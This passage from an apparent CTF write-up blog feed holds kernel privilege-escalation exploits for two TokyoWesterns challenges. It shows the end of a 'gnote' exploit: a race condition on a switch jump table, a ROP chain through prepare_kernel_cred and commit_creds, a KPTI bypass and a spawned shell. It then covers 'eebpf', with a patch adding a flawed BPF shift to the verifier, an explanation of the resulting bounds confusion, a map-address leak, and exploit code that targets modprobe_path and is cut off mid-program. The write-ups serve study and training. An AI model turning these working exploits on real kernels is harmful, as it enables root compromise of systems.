      return maybe_kbase;
    }
  }

  return (uint64_t)-1;
}

int do_race = 0;
int jump_table_idx;
void* race1(void* arg) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), arg)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  while (do_race) {
    page_req-&amp;gt;cmd = VULN_DEV_WRITE_CMD_SELECT;
  }
}
void* race2(void* arg) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), arg)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  const uint64_t const_jump_table_idx = jump_table_idx;
  while (do_race) {
    page_req-&amp;gt;cmd = const_jump_table_idx;
  }
}

void jump_at_jump_table_idx() {
  pthread_t th1;
  pthread_create(&amp;amp;th1, NULL, race1, &amp;amp;cpus[1]);
  pthread_t th2;
  pthread_create(&amp;amp;th2, NULL, race2, &amp;amp;cpus[1]);
  do_race = 1;
  page_req-&amp;gt;arg = 0;
  while (1) {
    page_req-&amp;gt;cmd = VULN_DEV_WRITE_CMD_SELECT;
    write(vuln_fd, page_buf, 0x1000);
  }
}

int main() {
  for (int i = 0; i &amp;lt; 2; ++i) {
    CPU_ZERO(&amp;amp;cpus[i]);
    CPU_SET(i, &amp;amp;cpus[i]);
  }
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;cpus[0])) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  save_state();

  vuln_fd = open(&amp;#34;/proc/gnote&amp;#34;, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open(/proc/gnote)&amp;#34;);
  }

  page_buf = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page_buf == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  page_req = (request_t*)page_buf;
  printf(&amp;#34;[*] page_buf addr: %p\n&amp;#34;, page_buf);

  uint64_t kernel_base = leak_kernel_base();
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);

  void* fake_jump_table =
      mmap(FAKE_JUMP_TABLE_ADDR, FAKE_JUMP_TABLE_SIZE, PROT_READ | PROT_WRITE,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_POPULATE, -1, 0);
  if (fake_jump_table == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  for (uint64_t* cur = fake_jump_table;
       (void*)cur &amp;lt; fake_jump_table + FAKE_JUMP_TABLE_SIZE; ++cur) {
    *cur = kernel_base + MOV_ESP_0x5d000005_OFFSET;
  }
  printf(&amp;#34;[*] fake_jump_table addr: %p\n&amp;#34;, fake_jump_table);

  void* fake_stack =
      mmap(FAKE_STACK_ADDR - FAKE_STACK_SIZE / 2, FAKE_STACK_SIZE,
           PROT_READ | PROT_WRITE,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_POPULATE, -1, 0);
  if (fake_stack == MAP_FAILED) {
    fatal(&amp;#34;mmap&amp;#34;);
  }
  printf(&amp;#34;[*] fake_stack addr: %p\n&amp;#34;, fake_stack);

  printf(&amp;#34;[*] Build ROP Chain @ %p...\n&amp;#34;, fake_stack);
  uint64_t* rop_buf = FAKE_RSP;
  *rop_buf++ = kernel_base + POP_RDI_OFFSET;
  *rop_buf++ = 0;
  *rop_buf++ = kernel_base + PREPARE_KERNEL_CRED_OFFSET;
  *rop_buf++ = kernel_base + POP_RCX_OFFSET;
  *rop_buf++ = 0;
  *rop_buf++ = kernel_base + MOV_RDI_RAX_REQ_MOV_RDI_RSI_POP_RBP_OFFSET;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = kernel_base + COMMIT_CREDS_OFFSET;
  *rop_buf++ = kernel_base + BYPASS_KPTI_OFFSET;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = 0xdeadbeefcafebe02;
  *rop_buf++ = (uint64_t)(get_shell);  // user_rip
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);

  jump_table_idx = 0x200 + 0x7fffded;
  printf(&amp;#34;[*] jump_table_idx: 0x%08x\n&amp;#34;, jump_table_idx);
  puts(&amp;#34;[*] Do race condition attack at jump table used in switch...&amp;#34;);
  jump_at_jump_table_idx();

  close(vuln_fd);
  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2019/gnote&#34;&gt;https://gitlab.com/sajjadium/ctf-archives/-/tree/main/ctfs/TokyoWesterns/2019/gnote&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
    <item>
      <title>TokyoWesternsCTF2020 eebpf</title>
      <link>/posts/kernel/write-ups/ctf/tokyowesternsctf2020-eebpf/</link>
      <pubDate>Tue, 28 Jan 2025 11:21:15 +0000</pubDate>
      
      <guid>/posts/kernel/write-ups/ctf/tokyowesternsctf2020-eebpf/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.4.58&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;patch-file&#34;&gt;Patch file&lt;/h3&gt;
&lt;p&gt;The important part is following:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;594782631&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;594782631&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;diff&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2020-eebpf-patch.diff&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-diff&#34; &gt;
      &lt;code&gt;diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/include/uapi/linux/bpf.h buildroot-2020.08-rc3_original/output/build/linux-5.4.58/include/uapi/linux/bpf.h
27d26
&amp;lt; #define BPF_ALSH	0xe0	/* sign extending arithmetic shift left */
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/tnum.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/tnum.c
42,52d41
&amp;lt; struct tnum tnum_alshift(struct tnum a, u8 min_shift, u8 insn_bitness)
&amp;lt; {
&amp;lt; 	if (insn_bitness == 32)
&amp;lt; 		//Never reach here now.
&amp;lt; 		return TNUM((u32)(((s32)a.value) &amp;lt;&amp;lt; min_shift),
&amp;lt; 			    (u32)(((s32)a.mask)  &amp;lt;&amp;lt; min_shift));
&amp;lt; 	else
&amp;lt; 		return TNUM((s64)a.value &amp;lt;&amp;lt; min_shift,
&amp;lt; 			    (s64)a.mask  &amp;lt;&amp;lt; min_shift);
&amp;lt; }
&amp;lt; 
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/verifier.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/verifier.c
4867,4897d4866
&amp;lt; 	case BPF_ALSH:
&amp;lt; 		if (umax_val &amp;gt;= insn_bitness) {
&amp;lt; 			/* Shifts greater than 31 or 63 are undefined.
&amp;lt; 			 * This includes shifts by a negative number.
&amp;lt; 			 */
&amp;lt; 			mark_reg_unknown(env, regs, insn-&amp;gt;dst_reg);
&amp;lt; 			break;
&amp;lt; 		}
&amp;lt; 
&amp;lt; 		/* Upon reaching here, src_known is true and
&amp;lt; 		 * umax_val is equal to umin_val.
&amp;lt; 		 */
&amp;lt; 		if (insn_bitness == 32) {
&amp;lt; 			//Now we don&amp;#39;t support 32bit. Cuz im too lazy.
&amp;lt; 			mark_reg_unknown(env, regs, insn-&amp;gt;dst_reg);
&amp;lt; 			break;
&amp;lt; 		} else {
&amp;lt; 			dst_reg-&amp;gt;smin_value &amp;lt;&amp;lt;= umin_val;
&amp;lt; 			dst_reg-&amp;gt;smax_value &amp;lt;&amp;lt;= umin_val;
&amp;lt; 		}
&amp;lt; 
&amp;lt; 		dst_reg-&amp;gt;var_off = tnum_alshift(dst_reg-&amp;gt;var_off, umin_val,
&amp;lt; 						insn_bitness);
&amp;lt; 
&amp;lt; 		/* blow away the dst_reg umin_value/umax_value and rely on
&amp;lt; 		 * dst_reg var_off to refine the result.
&amp;lt; 		 */
&amp;lt; 		dst_reg-&amp;gt;umin_value = 0;
&amp;lt; 		dst_reg-&amp;gt;umax_value = U64_MAX;
&amp;lt; 		__update_reg_bounds(dst_reg);
&amp;lt; 		break;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;And related location is following:&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;environment&#34;&gt;Environment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;kernel version: &lt;code&gt;5.4.58&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;unprivileged_bpf_disabled: &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;patch-file&#34;&gt;Patch file&lt;/h3&gt;
&lt;p&gt;The important part is following:&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;594782631&#34; type=&#34;checkbox&#34;  /&gt;
    &lt;label for=&#34;594782631&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;diff&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2020-eebpf-patch.diff&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-diff&#34; &gt;
      &lt;code&gt;diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/include/uapi/linux/bpf.h buildroot-2020.08-rc3_original/output/build/linux-5.4.58/include/uapi/linux/bpf.h
27d26
&amp;lt; #define BPF_ALSH	0xe0	/* sign extending arithmetic shift left */
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/tnum.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/tnum.c
42,52d41
&amp;lt; struct tnum tnum_alshift(struct tnum a, u8 min_shift, u8 insn_bitness)
&amp;lt; {
&amp;lt; 	if (insn_bitness == 32)
&amp;lt; 		//Never reach here now.
&amp;lt; 		return TNUM((u32)(((s32)a.value) &amp;lt;&amp;lt; min_shift),
&amp;lt; 			    (u32)(((s32)a.mask)  &amp;lt;&amp;lt; min_shift));
&amp;lt; 	else
&amp;lt; 		return TNUM((s64)a.value &amp;lt;&amp;lt; min_shift,
&amp;lt; 			    (s64)a.mask  &amp;lt;&amp;lt; min_shift);
&amp;lt; }
&amp;lt; 
diff -r ./buildroot-2020.08-rc3/output/build/linux-5.4.58/kernel/bpf/verifier.c buildroot-2020.08-rc3_original/output/build/linux-5.4.58/kernel/bpf/verifier.c
4867,4897d4866
&amp;lt; 	case BPF_ALSH:
&amp;lt; 		if (umax_val &amp;gt;= insn_bitness) {
&amp;lt; 			/* Shifts greater than 31 or 63 are undefined.
&amp;lt; 			 * This includes shifts by a negative number.
&amp;lt; 			 */
&amp;lt; 			mark_reg_unknown(env, regs, insn-&amp;gt;dst_reg);
&amp;lt; 			break;
&amp;lt; 		}
&amp;lt; 
&amp;lt; 		/* Upon reaching here, src_known is true and
&amp;lt; 		 * umax_val is equal to umin_val.
&amp;lt; 		 */
&amp;lt; 		if (insn_bitness == 32) {
&amp;lt; 			//Now we don&amp;#39;t support 32bit. Cuz im too lazy.
&amp;lt; 			mark_reg_unknown(env, regs, insn-&amp;gt;dst_reg);
&amp;lt; 			break;
&amp;lt; 		} else {
&amp;lt; 			dst_reg-&amp;gt;smin_value &amp;lt;&amp;lt;= umin_val;
&amp;lt; 			dst_reg-&amp;gt;smax_value &amp;lt;&amp;lt;= umin_val;
&amp;lt; 		}
&amp;lt; 
&amp;lt; 		dst_reg-&amp;gt;var_off = tnum_alshift(dst_reg-&amp;gt;var_off, umin_val,
&amp;lt; 						insn_bitness);
&amp;lt; 
&amp;lt; 		/* blow away the dst_reg umin_value/umax_value and rely on
&amp;lt; 		 * dst_reg var_off to refine the result.
&amp;lt; 		 */
&amp;lt; 		dst_reg-&amp;gt;umin_value = 0;
&amp;lt; 		dst_reg-&amp;gt;umax_value = U64_MAX;
&amp;lt; 		__update_reg_bounds(dst_reg);
&amp;lt; 		break;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;And related location is following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/tnum.c#L42&#34;&gt;&lt;code&gt;tnum_alshift&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L4866&#34;&gt;Add verification routine to &lt;code&gt;adjust_scalar_min_max_vals&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h3&gt;
&lt;p&gt;As we can see, when we use &lt;code&gt;BPF_ALSH&lt;/code&gt;, &lt;code&gt;dst_reg-&amp;gt;smin_value &amp;lt;&amp;lt;= umin_val; dst_reg-&amp;gt;smax_value &amp;lt;&amp;lt;= umin_val;&lt;/code&gt; is executed.
And because type of &lt;code&gt;smin_value&lt;/code&gt; and &lt;code&gt;smax_value&lt;/code&gt; is &lt;code&gt;s64&lt;/code&gt;, we can make &lt;code&gt;smin_value &amp;gt; smax_value&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;h3 id=&#34;making-invalid-range&#34;&gt;Making invalid range&lt;/h3&gt;
&lt;p&gt;My step for making invalid range is following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Load element from bpf_map (we call it &lt;code&gt;e&lt;/code&gt;)
&lt;ol&gt;
&lt;li&gt;Its actual value is 1.&lt;/li&gt;
&lt;li&gt;Its tnum may be (.val=0, .mask=0xffffffffffffffff).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Do &lt;code&gt;e&lt;/code&gt; &amp;amp; 0x1fffffffffffffff.
&lt;ol&gt;
&lt;li&gt;Its actual value is 1.&lt;/li&gt;
&lt;li&gt;Its tnum may be (.val=0, .mask=0x1fffffffffffffff).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Do left shift to &lt;code&gt;e&lt;/code&gt; by 3.
&lt;ol&gt;
&lt;li&gt;Its actual value is 8.&lt;/li&gt;
&lt;li&gt;Its tnum may be (.val=0, .mask=0xfffffffffffffff8).&lt;/li&gt;
&lt;li&gt;Its min and max value is 0 and 0xfffffffffffffff8.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Add 8 to &lt;code&gt;e&lt;/code&gt;.
&lt;ol&gt;
&lt;li&gt;It actual value is 0x10.&lt;/li&gt;
&lt;li&gt;Its min and max value is 8 and 0.
&lt;ol&gt;
&lt;li&gt;Explained later.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Add (.val=0, .mask=8; min=0, max=8) to &lt;code&gt;e&lt;/code&gt;.
&lt;ol&gt;
&lt;li&gt;Now &lt;code&gt;e&lt;/code&gt; has (actual_value, verification_value) = (0x10, 8).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Substract 8 from &lt;code&gt;e&lt;/code&gt;.
&lt;ol&gt;
&lt;li&gt;Now &lt;code&gt;e&lt;/code&gt; has (act_val, veri_val) = (8, 0).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;why-e8-does-make-min8-max0-&#34;&gt;Why &lt;code&gt;e&lt;/code&gt;+=8 does make min=8, max=0 ??&lt;/h4&gt;
&lt;p&gt;First, we check related functions (codes):&lt;/p&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;739216485&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;739216485&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2020-eebpf-addition_code_path.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// @ https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L4600
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                      struct bpf_insn *insn,
                                      struct bpf_reg_state *dst_reg,
                                      struct bpf_reg_state src_reg) {
    // ...

  case BPF_ADD:
    ret = sanitize_val_alu(env, insn);
    if (ret &amp;lt; 0) {
      verbose(env, &amp;#34;R%d tried to add from different pointers or scalars\n&amp;#34;,
              dst);
      return ret;
    }
    if (signed_add_overflows(dst_reg-&amp;gt;smin_value, smin_val) ||
        signed_add_overflows(dst_reg-&amp;gt;smax_value, smax_val)) {
      // ...
    } else {
      dst_reg-&amp;gt;smin_value += smin_val;
      dst_reg-&amp;gt;smax_value += smax_val;
    }
    if (dst_reg-&amp;gt;umin_value + umin_val &amp;lt; umin_val ||
        dst_reg-&amp;gt;umax_value + umax_val &amp;lt; umax_val) {
      dst_reg-&amp;gt;umin_value = 0;
      dst_reg-&amp;gt;umax_value = U64_MAX;
    } else {
      // ...
    }
    dst_reg-&amp;gt;var_off = tnum_add(dst_reg-&amp;gt;var_off, src_reg.var_off);
    break;

    // ...

    __reg_deduce_bounds(dst_reg);
    __reg_bound_offset(dst_reg);
    return 0;
}

// @ https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/tnum.c#L62
struct tnum tnum_add(struct tnum a, struct tnum b) {
  u64 sm, sv, sigma, chi, mu;

  sm = a.mask + b.mask;
  sv = a.value + b.value;
  sigma = sm + sv;
  chi = sigma ^ sv;
  mu = chi | a.mask | b.mask;
  return TNUM(sv &amp;amp; ~mu, mu);
}

// @ https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L939
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg_deduce_bounds(struct bpf_reg_state *reg) {
  /* Learn sign from signed bounds.
   * If we cannot cross the sign boundary, then signed and unsigned bounds
   * are the same, so combine.  This works even in the negative case, e.g.
   * -3 s&amp;lt;= x s&amp;lt;= -1 implies 0xf...fd u&amp;lt;= x u&amp;lt;= 0xf...ff.
   */
  if (reg-&amp;gt;smin_value &amp;gt;= 0 || reg-&amp;gt;smax_value &amp;lt; 0) {
    reg-&amp;gt;smin_value = reg-&amp;gt;umin_value =
        max_t(u64, reg-&amp;gt;smin_value, reg-&amp;gt;umin_value);
    reg-&amp;gt;smax_value = reg-&amp;gt;umax_value =
        min_t(u64, reg-&amp;gt;smax_value, reg-&amp;gt;umax_value);
    return;
  }

  // ...
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;When add 8 to &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt; is (smin=umin=0, smax=umax=0xfffffffffffffff8; .val=0, .mask=0xfffffffffffffff8).
So and since &lt;code&gt;signed_add_overflows(dst_reg-&amp;gt;smin_value, smin_val) || signed_add_overflows(dst_reg-&amp;gt;smax_value, smax_val)&lt;/code&gt; is false and &lt;code&gt;dst_reg-&amp;gt;umin_value + umin_val &amp;lt; umin_val || dst_reg-&amp;gt;umax_value + umax_val &amp;lt; umax_val&lt;/code&gt; is true, &lt;code&gt;dst_reg-&amp;gt;smin_value += smin_val; dst_reg-&amp;gt;smax_value += smax_val;&lt;/code&gt; and &lt;code&gt;dst_reg-&amp;gt;umin_value = 0; dst_reg-&amp;gt;umax_value = U64_MAX;&lt;/code&gt; is executed.
Then, &lt;code&gt;e&lt;/code&gt; is (smin=8, smax=0, umin=0, umax=U64_MAX).&lt;/p&gt;
&lt;p&gt;And return value of &lt;code&gt;tnum_add&lt;/code&gt; is (.val=0, .mask=0xfffffffffffffff8).
So after &lt;code&gt;dst_reg-&amp;gt;var_off = tnum_add(dst_reg-&amp;gt;var_off, src_reg.var_off);&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt; is (smin=8, smax=0, umin=0, umax=U64_MAX; .val=0, .mask=0xfffffffffffffff8).&lt;/p&gt;
&lt;p&gt;But in &lt;code&gt;__reg_deduce_bounds&lt;/code&gt;, &lt;code&gt;reg-&amp;gt;smin_value &amp;gt;= 0 || reg-&amp;gt;smax_value &amp;lt; 0&lt;/code&gt; is true, &lt;code&gt;reg-&amp;gt;smin_value = reg-&amp;gt;umin_value = max_t(u64, reg-&amp;gt;smin_value, reg-&amp;gt;umin_value);&lt;/code&gt; and &lt;code&gt;reg-&amp;gt;smax_value = reg-&amp;gt;umax_value = min_t(u64, reg-&amp;gt;smax_value, reg-&amp;gt;umax_value);&lt;/code&gt; is performed.
Because &lt;code&gt;reg-&amp;gt;smin_value == 8&lt;/code&gt;, &lt;code&gt;reg-&amp;gt;umin_value == 0&lt;/code&gt;, &lt;code&gt;reg-&amp;gt;smax_value == 0&lt;/code&gt; and &lt;code&gt;reg-&amp;gt;umax_value == U64_MAX&lt;/code&gt;, register&amp;rsquo;s min and max value is set by &lt;code&gt;reg-&amp;gt;?min_value = max_t(u64, 8, 0)&lt;/code&gt; and &lt;code&gt;reg-&amp;gt;?max_value = min_t(u64, 0, U64_MAX)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Because of this reasons, after &lt;code&gt;e&lt;/code&gt;+=8, &lt;code&gt;e&lt;/code&gt; will be (min=8, max=0).&lt;/p&gt;
&lt;h3 id=&#34;leak-struct-bpf_map-address&#34;&gt;Leak &lt;code&gt;struct bpf_map&lt;/code&gt; address&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;adjust_ptr_min_max_vals&lt;/code&gt; function, if &lt;code&gt;off_reg-&amp;gt;smin_value &amp;gt; off_reg-&amp;gt;smax_value&lt;/code&gt;, the pointer is marked as unknown.
And the type of unknown register is scalar, we can leak its value.&lt;/p&gt;
&lt;p&gt;See followings:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L4379&#34;&gt;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L4379&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L999&#34;&gt;https://elixir.bootlin.com/linux/v5.4.58/source/kernel/bpf/verifier.c#L999&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;aaraaw-primitives&#34;&gt;AAR/AAW primitives&lt;/h3&gt;
&lt;p&gt;We can use the technique using &lt;code&gt;bpf_skb_load_bytes&lt;/code&gt; because of scalar which has invalid range.
Using this techinuqe, we can set the value on stack without verification by using invalid &lt;code&gt;len&lt;/code&gt; argument.
Originally &lt;code&gt;bpf_skb_load_bytes&lt;/code&gt; changes values from &lt;code&gt;to&lt;/code&gt; to &lt;code&gt;to+len&lt;/code&gt;. So, the values are marked as unknown.
But with invalid &lt;code&gt;len&lt;/code&gt;, we can set values with marked as known (invalid verification).&lt;/p&gt;
&lt;p&gt;So, we can use this.&lt;/p&gt;
&lt;h3 id=&#34;exploit-code&#34;&gt;Exploit code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;276481593&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;276481593&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;TokyoWesternsCTF2020-eebpf-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;time.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

#define BPF_ALSH 0xe0

#define KERNEL_BASE 0xffffffff81000000
#define BPF_MAP_OPS_OFFSET (0xffffffff81a0dec0 - KERNEL_BASE)
#define MODPROBE_OFFSET (0xffffffff81c2e800 - KERNEL_BASE)

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}

void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

int mapfd;
uint64_t map_addr;
static uint64_t leak_bpf_map_addr(int do_print_verifier_log) {
  char verifier_log[0x10000];

  uint64_t val = 0;
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
      BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x8),
      // map_lookup_elem(mapfd, &amp;amp;key)
      BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
      BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
      BPF_EXIT_INSN(),
      BPF_MOV64_REG(BPF_REG_5, BPF_REG_0),
      BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_0, 0),

      BPF_MOV64_REG(
          BPF_REG_0,
          BPF_REG_6),  // r0 = r6 == 0 == (.val=0, .mask=0xffffffffffffffff)
      BPF_ALU64_IMM(BPF_AND, BPF_REG_0,
                    1),  // r0 = r0 &amp;amp; 1 == 0 == (.val=0, .mask=1)
      BPF_ALU64_IMM(
          BPF_ALSH, BPF_REG_0,
          63),  // r0 = r0 &amp;lt;&amp;lt; 63 == 0 == (.val=0, .mask=0x8000000000000000);
      // smin=0, smax=0x8000000000000000

      BPF_MOV64_REG(BPF_REG_1, BPF_REG_5),  // r1 = r5 == map_elem
      BPF_ALU64_REG(BPF_ADD, BPF_REG_1,
                    BPF_REG_0),  // r1 = r1 + r0; Because r0&amp;#39;s smin &amp;gt; s0&amp;#39;s smax,
                                 // r1 will be marked as unknown.
      BPF_MOV64_REG(BPF_REG_0, BPF_REG_1),

      // arg1(mapfd)
      BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
      // arg2(&amp;amp;key)
      BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x8, 0),
      BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
